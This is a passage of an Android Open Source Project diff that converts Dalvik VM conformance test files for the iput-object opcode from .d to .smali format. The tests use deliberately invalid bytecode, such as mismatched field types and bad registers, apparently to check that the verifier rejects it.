+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_13.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_13;
+.super Ljava/lang/Object;
+.source "T_iput_object_13.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v0, 0x0
+
+    iput-object p0, v0, Ldot/junit/opcodes/iput_object/d/T_iput_object_13;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_14.d
deleted file mode 100644
index 4e420fc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_14.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_14.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_14
-.super dot/junit/opcodes/iput_object/d/T_iput_object_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_object/d/T_iput_object_1/<init>()V
-       return-void
-.end method
-
-.method public  getProtectedField()Ljava/lang/Object;
-.limit regs 2
-
-       iget-object v0, v1, dot.junit.opcodes.iput_object.d.T_iput_object_1.st_p1 Ljava/lang/Object;
-       return-object v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-object v2, v2, dot.junit.opcodes.iput_object.d.T_iput_object_1.st_p1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_14.smali
new file mode 100644
index 0000000..7f0a504
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_14.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_14;
+.super  Ldot/junit/opcodes/iput_object/d/T_iput_object_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_object/d/T_iput_object_1;-><init>()V
+       return-void
+.end method
+
+.method public  getProtectedField()Ljava/lang/Object;
+.registers 2
+
+       iget-object v0, v1, Ldot/junit/opcodes/iput_object/d/T_iput_object_1;->st_p1:Ljava/lang/Object;
+       return-object v0
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-object v2, v2, Ldot/junit/opcodes/iput_object/d/T_iput_object_1;->st_p1:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_15.d
deleted file mode 100644
index 35aeab9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_15.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_15.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_15
-.super dot/junit/opcodes/iput_object/d/T_iput_object_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_object/d/T_iput_object_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-object v2, v2, dot.junit.opcodes.iput_object.d.T_iput_object_1.st_pvt1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_15.smali
new file mode 100644
index 0000000..21e56b8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_15.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_15.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_15;
+.super  Ldot/junit/opcodes/iput_object/d/T_iput_object_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_object/d/T_iput_object_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-object v2, v2, Ldot/junit/opcodes/iput_object/d/T_iput_object_1;->st_pvt1:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_17.d
deleted file mode 100644
index 71eb363..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_17.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_17
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-object v2, v2, dot.junit.opcodes.iput_object.d.T_iput_object_17.st_i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_17.smali
new file mode 100644
index 0000000..64ece6e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_17.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_17;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-object v2, v2, Ldot/junit/opcodes/iput_object/d/T_iput_object_17;->st_i1:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_18.d
deleted file mode 100644
index 56d8da8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_18.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_18.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_18
-.super java/lang/Object
-
-.field public  st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-object v2, v2, dot.junit.opcodes.iput_object.d.T_iput_object_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_18.smali
new file mode 100644
index 0000000..e2e7f35
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_18.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_18.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_18;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-object v2, v2, Ldot/junit/opcodes/iput_object/d/T_iput_object_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_2.d
deleted file mode 100644
index 805388f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_2.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_2
-.super java/lang/Object
-
-.field public  st_i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1234    
-       iput-object v0, v2, dot.junit.opcodes.iput_object.d.T_iput_object_2.st_i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_2.smali
new file mode 100644
index 0000000..f4844ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_2.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_2;
+.super Ljava/lang/Object;
+.source "T_iput_object_2.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const-wide v0, 0x4d2
+
+    iput-object v0, p0, Ldot/junit/opcodes/iput_object/d/T_iput_object_2;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_20.d
deleted file mode 100644
index a9b90be..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_20.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_20
-.super java/lang/Object
-
-.field public  st_o Ljava/lang/String;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       iput-object v3, v3, dot.junit.opcodes.iput_object.d.T_iput_object_20.st_o Ljava/lang/String;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_20.smali
new file mode 100644
index 0000000..6289c42
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_20.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_20;
+.super Ljava/lang/Object;
+.source "T_iput_object_20.java"
+
+
+# instance fields
+.field public st_o:Ljava/lang/String;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    iput-object p0, p0, Ldot/junit/opcodes/iput_object/d/T_iput_object_20;->st_o:Ljava/lang/String;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_21.d
deleted file mode 100644
index 19aa1cf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_21.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_21
-.super java/lang/Object
-
-.field public  st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       iput-object v3, v3, dot.junit.opcodes.iput_object.d.T_iput_object_21.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_21.smali
new file mode 100644
index 0000000..dbe23fb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_21.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_21;
+.super  Ljava/lang/Object;
+
+.field public  st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       iput-object v3, v3, Ldot/junit/opcodes/iput_object/d/T_iput_object_21;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_22.d
deleted file mode 100644
index 8d7272e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_22.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_22
-.super java/lang/Object
-
-.field public  st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       iput-object v3, v3, dot.junit.opcodes.iput_object.d.T_iput_object_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_22.smali
new file mode 100644
index 0000000..85e0bb8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_22.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_22;
+.super  Ljava/lang/Object;
+
+.field public  st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       iput-object v3, v3, Ldot/junit/opcodes/iput_object/d/T_iput_object_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_23.d
deleted file mode 100644
index 296a14b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_23.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_23
-.super java/lang/Object
-
-.field public  st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       iput-object v3, v3, dot.junit.opcodes.iput_object.d.T_iput_object_23.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_23.smali
new file mode 100644
index 0000000..2eff592
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_23.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_23;
+.super  Ljava/lang/Object;
+
+.field public  st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       iput-object v3, v3, Ldot/junit/opcodes/iput_object/d/T_iput_object_23;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_24.d
deleted file mode 100644
index 51bbb2d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_24.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_24
-.super java/lang/Object
-
-.field public  st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       iput-object v3, v3, dot.junit.opcodes.iput_object.d.T_iput_object_24.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_24.smali
new file mode 100644
index 0000000..fed4d0b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_24.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_24;
+.super  Ljava/lang/Object;
+
+.field public  st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       iput-object v3, v3, Ldot/junit/opcodes/iput_object/d/T_iput_object_24;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_3.d
deleted file mode 100644
index fa05a78..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_3.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_3
-.super java/lang/Object
-
-.field public  st_i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-        iput-object v2, v2, dot.junit.opcodes.iput_object.d.T_iput_object_3.st_i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_3.smali
new file mode 100644
index 0000000..84eacf9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_3.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
